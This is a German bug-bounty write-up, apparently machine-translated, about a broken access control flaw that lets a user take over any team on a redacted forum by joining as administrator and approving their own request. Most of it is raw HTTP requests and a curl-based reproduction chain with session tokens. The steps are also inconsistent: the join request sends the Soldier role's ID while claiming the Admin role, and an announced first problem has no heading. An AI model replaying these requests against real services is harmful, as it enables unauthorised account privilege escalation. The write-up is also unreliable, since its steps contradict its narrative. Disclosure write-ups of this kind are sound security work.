Vollständige Teamübernahme

Jan 09 2023
Hare Krishna! Mein Name ist Tuhin Bose (tuhin1729). Ich arbeite derzeit als CTF Designing Consultant bei BugBase.

Hare Krishna! Mein Name ist Tuhin Bose ( tuhin1729 ). Ich arbeite derzeit als CTF Designing Consultant bei BugBase . In diesem Artikel werde ich eine meiner Erkenntnisse teilen, die es mir ermöglicht hat, das Team eines jeden zu übernehmen.
Also, ohne Zeit zu verschwenden, springen wir direkt in den Blog:

Einführung:

Grundsätzlich ist das Ziel ein Forum, in dem Menschen miteinander interagieren, Teams mit anderen bilden usw. Bei der Analyse der Teamfunktionalität sind mir die folgenden Punkte aufgefallen:

  1. Benutzer können ein Team erstellen.
  2. Jeder andere Benutzer kann eine Anfrage senden, um dem Team mit einer dieser Rollen beizutreten: Soldat, Manager und Unterstützer. Sie können jedoch keine Anfrage senden, um dem Team als Administrator beizutreten . Jede Rolle hat eine andere Wichtigkeitsstufe (eine ganze Zahl zwischen 1 und 10), basierend auf den Berechtigungen, die sie im Team ausführen darf. Beispielsweise hat die Rolle Supporter die Wichtigkeitsstufe 10 (geringste Privilegien) und die Rolle Admin hat die Wichtigkeitsstufe 1 (höchste Privilegien).
  3. Wenn der Administrator des Teams die Teambeitrittsanfrage eines Benutzers genehmigt, wird er/sie Teil dieses Teams. Allerdings hat nur der Administrator die Berechtigung, jeden in seinem Team zuzulassen.

Beim Analysieren aller HTTP-Anfragen in der Burp-Suite ist mir eine Anfrage aufgefallen, die für das Abrufen aller verfügbaren Rollen verantwortlich ist:

POST /functions/team-roles-get HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 2
Referer: https://redacted.com/
Origin: https://redacted.com

{}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 309
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 05:18:59 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

POST /functions/team-join-post HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 164
Referer: https://redacted.com/
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Origin: https://redacted.com

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 95
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 06:37:56 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

Zweites Problem – Genehmigen der Teambeitrittsanfrage im Namen des Administrators:

Selbst wenn wir jetzt unsere Teammitgliedschaftsanfrage senden, um ein Administrator des Teams zu werden, wird der echte Administrator unsere Anfrage nicht zulassen, da er/sie die Rolle, für die wir uns beworben haben, deutlich sehen kann.
Als ich mich beim Administratorkonto anmeldete und versuchte, eine Teambeitrittsanfrage zu genehmigen, bemerkte ich die folgende HTTP-Anfrage:

POST /functions/team-join-response-post HTTP/2
Host: redacted.com
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
X-Session-Token: 6Y4z0L9p6N1d4O2d8G7w4Q9p4E3o1R3c6K0w0C9h
Origin: https://redacted.com
Referer: https://redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}

B00M! Ich bin dem Team als Admin beigetreten. Jetzt kann ich die Teamdetails bearbeiten, alle anderen Teambeitrittsanfragen anzeigen und genehmigen/ablehnen.

Falls Sie zu faul sind, die obigen Sachen zu lesen, hier ist eine kürzere Version:

Schritte zum Reproduzieren:

  1. ObjectId der Rolle Admin abrufen:
  2. tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-response-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":true}